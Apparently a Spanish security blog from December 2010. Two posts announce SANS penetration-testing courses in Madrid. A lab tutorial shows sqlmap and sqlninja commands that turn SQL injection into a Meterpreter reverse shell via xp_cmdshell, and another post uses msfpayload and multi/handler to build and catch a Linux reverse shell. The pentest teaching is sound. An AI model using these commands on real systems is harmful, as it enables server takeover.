lunes, 27 de diciembre de 2010

Nuevo grupo (y descuento!) para "Network Penetration Testing" del SANS

Hace aproximadamente 4 meses anunciamos en este mismo blog el curso "Network Penetration Testing & Ethical Hacking" del SANS Institute que se iba a impartir en modalidad Mentor en Madrid. También comentamos, mediante actualizaciones de este post, que el curso colgó el cartel de "SOLD OUT" en menos de 2 meses tras la fecha de anuncio del curso, y casi 3 meses antes de que dé comienzo (comienza a principios del próximo Febrero).
Pues bien, debido a este éxito, SANS Institute ha decidido abrir un segundo grupo de este mismo curso, también en Madrid, que se impartirá entre el 23 de Septiembre y el 25 de Noviembre, todos los viernes de 20:00 a 22:00, es decir, en el mismo horario que el primer curso.

La modalidad, temario, correo de contacto, etc, es la misma que anunciamos en el anterior curso, así que solo hay que recurrir AQUÍ para obtener toda la información.

Lo único que cambia son las fechas y el lugar donde se celebrarán los cursos. Aunque todavía podría haber algún cambio de última hora, casi con toda seguridad los cursos se impartirán en las instalaciones de S21sec, situadas en la calle Valgrande 6 (Edificio Telvent) del Polígono Industrial de Alcobendas (Madrid).


Para apuntarse a este nuevo curso, os recuerdo que PRIMERO ES NECESARIO CONTACTAR CON ALGUNO DE LOS MENTOR (Rafa Alfaro o yo mismo), para que os demos las instrucciones necesarias para apuntaros. No os apuntéis sin antes hablar con alguno de nosotros, por favor.

Además, aquellos que se apunten antes de final de año podrán acogerse a una oferta que ha lanzado el SANS Institute, por la cual, introduciendo el código Q1MG11 al apuntaros podréis distrutar de las tasas del examen de la certificación GPEN de forma GRATUITA! Podéis ver más detalles sobre las ofertas en este enlace.

Para más información, precio, y para apuntarse, pulsad AQUÍ.

Por último, deciros que para aquellas personas que les gustaría hacer este curso pero que no vivan cerca de Madrid y les gustaría realizar el curso de forma on-line, también pueden ponerse en contacto con nosotros para explicarles las opciones que tienen, y que si lo hacen antes de final de año podrían también verse beneficiados del descuento que comentábamos.

domingo, 19 de diciembre de 2010

"SANS Security Essentials Bootcamp Style" del SANS en Madrid

Como ya sabréis, en el último año SANS Intitute ha retomado la realización de cursos de distintos tipos en España. Hasta el momento se han realizado los cursos de Incident Handling, WebApp Pentesting, y están previstos para el año que viene dos ediciones del Network Pentesting (atentos a mi Twitter, anunciaré cuando se abra el segundo grupo, probablemente a lo largo de esta semana) y el Security Essentials, que es del que os hablaré hoy.

Como os decía, os anuncio que a partir del próximo mes de Febrero se impartirá en Madrid el curso "SEC401: SANS Security Essentials Bootcamp Stype" en modalidad Mentor, y con mi amigo Pedro Eisman (con quien impartí el SEC-504) como Mentor. En esta modalidad, los estudiantes dispondrán de una copia impresa de los materiales (en inglés) y de un DVD con las máquinas virtuales, herramientas, etc necesarias para realizar los ejercicios. Además de este material de auto-estudio, el Mentor impartirá una clase semanal de dos horas durante 10 semanas comprendidas entre el 3 de Febrero y el 7 de Abril. El objetivo principal de las clases es resolver dudas, mostrar como se usan las herramientas y la realización de ejercicios adicionales que favorezcan la comprensión de las técnicas y las herramientas, todo ello en Español. Las clases se realizarán los jueves de 19:30 a 21:30 en las instalaciones de VASS Consultoría de Sistemas, situadas en la Avenida Doctor Severo Ochoa 25, en Alcobendas (Madrid).

Por su parte, el SANS Institute ya ha publicado el curso para que la gente se apunte, pero si os interesa antes de apuntaros debeis poneros en contacto con el Mentor (Pedro Eisman) en pedroer@gm... (vamos, gmail.com, lo pongo así para evitar Spam). Si os interesa no tardeis en poneros en contacto con Pedro y apuntaros, porque en función de la gente interesada el curso se realizará o no.

Y a todo esto... ¿Qué es esto de "Security Essentials"?

A diferencia de otros cursos de SANS, que se suelen centrar en temas más específicos dentro de la seguridad, el curso de Security Essentials es un curso más genérico, en el que se abordan todos los aspectos más importantes del mundo de la seguridad informática, desde seguridad de redes o de sistemas operativos windows y unix, pasando por seguridad física, gestión de incidentes o disaster recovery, hasta temas de password cracking, seguridad de aplicaciones web, tipos de ataques, defensas, etc... Por su similitud con la visión global que dan otras certificaciones similares, se le suele llamar a este curso "el CISSP técnico", por mostrar un detalle mucho más profundo y práctico.

El curso es interesante para profesionales con algo de experiencia en seguridad, pero que quieran obtener una visión completa profundizando en aquellos temas en los que no tienen experiencia, así como aquellos profesionales de IT que deseen orientarse al mundo de la seguridad y conocer las diferentes amenazas y defensas que pueden aplicar a su entorno.

El enfoque del curso será eminentemente práctico, como suele ser habitual en los cursos de SANS y lo que les diferencia de otros cursos de seguridad informática. Las sesiones principalmente se dedican a hacer ejercicios prácticos, resolver dudas con el temario y demostrar las diferentes herramientas y conceptos.

Por último, añadir que el curso permite obtener la certificación GSEC, que como hemos comentado podría considerarse un equivalente al CISSP en SANS, pero mucho más práctico.

Os dejo unos enlaces del contenido del curso:

Actualización: SANS ha lanzado una promoción hasta el 31 de Diciembre mediante la cual las tasas de examen de la certificación de cualquier curso en modalidad Mentor saldrá totalmente gratis, lo que supone cerca de 500€ de descuento. Para ello es necesario apuntarse usando el código Q1MG11. Consulta con el Mentor para más información.

lunes, 13 de diciembre de 2010

SQL Injection Hasta la Cocina - MS SQL Server

Hay determinadas vulnerabilidades que frecuentemente son menospreciadas, bien porque se considera que por si misma tienen poco impacto sobre los sistemas, o bien porque se considera que la máquina es poco importante.

En el caso de las Inyecciones SQL la gente suele tomárselas en serio, pero existe la sensación de que es una vulnerabilidad que "solo" permite acceder a la información de la base de datos, por lo que si el sistema no contiene información sensible suele ser tratada como una vulnerabilidad poco importante.

Sin embargo, depende del tipo, versión y configuración de la base de datos, es posible obtener control total de una máquina a través de una Inyección SQL, y a partir de ahí utilizar ese acceso para emplear cualquier técnica de post-explotación como puede ser crackeo de contraseñas, relaying, etc.

Concretamente, para este primer post, vamos a utilizar una vulnerabilidad de Inyección SQL en una aplicación web que utiliza un servidor de base de datos Microsoft SQL Server 2005, donde el usuario utilizado tiene privilegios de administrador. Concretamente, vamos a utilizar exactamente el mismo entorno y aplicación web utilizado en este otro post, aunque vosotros lo podéis utilizar con cualquier otra.

En versiones anteriores de MS SQL Server era posible, aunque el usuario no tuviera privilegios de administrador, realizar un ataque de fuerza bruta contra la contraseña del usuario "sa", y si esta era encontrada se podían lanzar todo tipo de comandos SQL con esos privilegios, pero para este post, por simplicidad, vamos a suponer que el usuario ya dispone de privilegios de administrador.

La explotación de esta vulnerabilidad, por supuesto, podríamos hacerla completamente a mano, lo cual es muy útil con fines didácticos y para entender bien el ataque, pero para este post vamos a usar dos herramientas que realizan todas estas acciones de forma automática: SQLMap y SQLNinja.

A modo de explicación de lo que realizan estas herramientas a bajo nivel, realizan los siguientes pasos (los nombres de los ficheros y extensiones no son exactos, pero sirven para que entendemos como funciona):
  1. Establecemos el tipo de conexión que queremos, shell directa o inversa, puertos, tipo de payload, codificación, etc.
  2. Se general un binario backdoor.exe (o el nombre que sea) mediante el uso de msfpayload de Metasploit, con las opciones anteriormente definidas.
  3. Convertimos backdoor.exe (binario) en un fichero de texto auto-extraible backdoor.bat (por ejemplo).
  4. Subimos el contenido texto de backdoor.bat mediante el uso de xp_cmdshell (básicamente como si hicieramos un echo "blablablabla" >> backdoor.bat hasta que tengamos todo el fichero subido).
  5. Ejecutamos backdoor.bat para que backdoor.exe sea desplegado en el sistema.
  6. Lanzamos msfconsole o msfcli con los parámetros adecuados para recibir la conexión (supongamos que elegimos hacer un reverse shell.
  7. Ejecutamos backdoor.exe, que lanzará la conexión contra nuestro Metasploit, y se iniciará la sesión en el sistema comprometido.
  8. A divertirse :)
Una vez que sabemos y entendemos como funcionan estas herramientas, podemos pasar a utilizarlas para que nuestra explotación sea más ágil y rápida:


Una vez hemos comprobado que el parámetros es vulnerable, tal y como hacíamos en este post anterior, comprobaremos a ver si tenemos suerte y el usuario utilizado por la aplicación web es administrador de la base de datos:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --is-dba


Teniendo el usuario privilegios de DBA, se nos abre la posibilidad de "entrar hasta la cocina" en esta máquina, ya que con estos privilegios podremos reactivar la función xp_cmdshell, que nos va a permitir la ejecución de comandos en la máquina, incluyendo alguno de los Payloads de Metasploit:

# ./sqlmap.py -u "http://172.16.24.151/?id=1" -p id --msf-path=/opt/metasploit3/msf3 --os-pwn

Durante el proceso, se nos irán haciendo algunas preguntas para definir mejor la explotación que queremos hacer. Si utilizamos todas las opciones por defecto tendremos una reverse shell con Meterpreter. Unicamente es necesario definir un par de parámetros, el primero es para "autorizar" al SQLMap a activar el procedimiento xp_cmdshell, y el segundo es para definir la IP y Puerto Local, que nos interesa que sea nuestra IP Pública (si salimos por NAT) y el puerto 80, que es el que más fácilmente estará abierto de salida hacia Internet:

xp_cmdshell extended procedure does not seem to be available. Do you want sqlmap to try to re-enable it? [Y/n] Y

which is the local address? [172.16.24.150] 172.16.24.150
which local port number do you want to use? [12251] 80

Una vez elegidas todas las opciones, SQLMap utiliza el msfpayload de Metasploit para generar un binario, en este caso un Meterpreter, que será codificado en modo texto para ser subido al servidor, a través de la Inyección SQL existente:


Cuando acabe de subirlo, lanzará tanto Metasploit con el Handler adecuado, como el binario generado dentro del servidor de base de datos, con lo que se establecerá la sesión de Meterpreter en el sistema que contiene la base de datos:


Como podemos ver, tenemos el Meterpreter ejecutándose con los privilegios del usuario "Servicio de red", que no dispone de los privilegios suficientes como para hacer un Dump de los Hashes del sistema, pero que nos da un primer punto de entrada en el sistema para luego elevar privilegios de alguna forma y poder tomar control total del sistema.


¡Hasta la cocina!
(con SQLMap)


SQLNinja es otra de las herramientas que podemos usar para hacer este tipo de ataques. Al contrario de lo que sucede en SQLMap, en SQLNinja deberemos definir algunos de los parámetros del ataque en un fichero de configuración llamado sqlninja.conf, que se encuentra en el mismo directorio de la herramienta. En el caso que nos ocupa, deberemos cambiar los siguientes parámetros del fichero para configurar nuestro host objetivo, y dejar el resto de parámetros tal como están:

host = 172.16.24.151
port = 80
method = GET
page = /default.asp
stringstart = id=1;
stringend =
lhost = 172.16.24.150
msfpath = /opt/metasploit3/msf3/

Ahora solo tenemos que lanzar SQLNinja con la opción -m test para comprobar si detecta correctamente la inyección:

# ./sqlninja -m test


Podríamos ahora utilizar SQLNinja para sacar toda la información de la base de datos tal y como hemos hecho con SQLMap en otras ocasiones, pero esta vez vamos a lo que vamos, y el objetivo es conseguir el control de la máquina, así que vamos directamente a ello. Lo primero de todo es ver si xp_cmdshell se encuentra disponible:

# ./sqlninja -m fingerprint


Lo tenemos desactivado, pero vemos que tenemos privilegios de administrador de la base de datos, así que como ocurría en SQLMap, vamos a poder re-activarlo, de la siguiente forma:

# ./sqlninja -m resurrectxp


Ahora que ya tenemos el xp_cmdshell activado, ya podemos generar el payload Meterpreter igual que hacíamos antes:

# ./sqlninja -m metasploit


SQLNinja sube el payload de Metasploit a la máquina comprometida y posteriormente lo ejecuta con xp_cmdshell, y lanza de forma automática el Metasploit para recibir esta conexión:


A partir de aquí ya tenemos el Meterpreter ejecutándose en la máquina, al igual que teníamos con SQLMap, así que ya solo tenemos que elevar privilegios de la misma forma de antes (si podemos) para obtener el control total de la máquina.

¡Hasta la cocina!
(con SQLNinja)

Por supuesto, podríamos utilizar cualquier otra herramienta que hiciera algo parecido a lo que acabamos de ver, o incluso codear algo parecido o hacerlo a mano si nuestro escenario de explotación es muy particular y las herramientas disponibles no funcionan, pero el proceso sería más o menos el mismo.

domingo, 5 de diciembre de 2010

¿Meterpreter para Linux?

Hace unos días me encontraba utilizando mi Metasploit, que siempre tengo actualizada a la última versión de SVN, y me encontré una cosa curiosa al intentar lanzar un exploit cuando ejecuté el comando "show payloads" para ver los payloads que tenía disponibles:

[...]
linux/x86/meterpreter/bind_ipv6_tcp
linux/x86/meterpreter/bind_tcp
linux/x86/meterpreter/reverse_ipv6_tcp
linux/x86/meterpreter/reverse_tcp
linux/x86/metsvc_bind_tcp
linux/x86/metsvc_reverse_tcp
[...]

¡¡¡ METERPRETER PARA LINUX !!!

Sentí como si HD Moore hubiera oído por fin mis plegarias. Siempre me he preguntado (y por lo que he podido comentar, no he sido el único) por qué no habían sacado un Meterpreter para otros sistemas que no sean Windows, si se debía a algún problema técnico que desconociéramos, a las diferencias existentes en Linux al existir una amplia variedad de distribuciones, o algo así.

Pegándole un ojo a los créditos del payload, vemos la siguiente descripción:


Sorprendentemente, no había leído en el blog de Metasploit (el cual sigo frecuentemente) ni en ningún lado de la existencia de este payload, por lo que era de esperar que estuviera en un estado bastante beta, así que me puse a hacer algunas pruebas.

Para ello, lo primero, fue generarme un binario para Linux con este payload, para no tener que explotar la vulnerabilidad para cada prueba que quisiera hacer. Esto lo hice con el comando msfpayload de Metasploit, de la siguiente forma:

# cd /opt/metasploit3/msf3
# ./msfpayload linux/x86/meterpreter/reverse_tcp LHOST=172.16.24.150 X > /tmp/meterlin.bin

Una vez hecho esto, lancé en mi msfconsole el payload multi/handler, un módulo al que le especificas el payload y sirve para poder recoger las conexiones, tanto directas como inversas, de los diferentes payloads de Metasploit:

# ./msfconsole
msf > use multi/handler
msf exploit(handler) > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.24.150
msf exploit(handler) > exploit

Por último lancé el binario que había generado previamente para que realice la conexión inversa hasta el multi/handler que he lanzado en Metasploit:

# cd /tmp
# ./meterlin.bin

Y vemos como en nuestro msfconsole nos aparecen los mensajes a los que estamos acostumbrados cuando lanzamos este mismo payload en un Windows:


BIEN! Ahora solo nos quedaba jugar un poco con el Meterpreter, así que lancé un "help" y me dispuse a probar las funcionalidades, y estos fueron los resultados de mis pruebas:
  • Módulo "priv" (para hacer "hashdump" y similares) NO funciona.
  • Comandos "ipconfig", "route", "kill" y otros comandos básicos SI funcionan, pero curiosamente "ps" NO, y "migrate" tampoco.
  • Comando "execute" SI funciona, aunque se queda colgado al salir.
  • Comandos "upload" y "download" SI funcionan.
  • Comando "portfwd" SI funciona.
Al final, después de un rato de probar, estas fueron mis conclusiones:
  • El Payload está aún en estado beta, aún falta bastante para que tenga toda la potencia del Meterpreter para Windows
  • Puede ser interesante usarlo en sistemas Linux, porque podemos con un solo payload subir de forma cómoda los ficheros que deseemos, ejecutarlos, redirigir puertos, y algunas opciones más, lo cual va a agilizar mucho nuestros pentests.
  • Hay que estar muy al tanto de las evoluciones de este payload.
Para finalizar, sentí curiosidad sobre si se estaban desarrollando versiones de Meterpreter para más plataformas, así que hice una pequeña búsqueda, y este fue el resultado:

[...]
bsd/x86/metsvc_bind_tcp
bsd/x86/metsvc_reverse_tcp
java/meterpreter/bind_tcp
java/meterpreter/reverse_tcp
linux/x86/meterpreter/bind_tcp
[...]
php/meterpreter/bind_tcp
php/meterpreter_reverse_tcp
[...]

Muy muy interesante, no os parece :)
Seguiremos informando...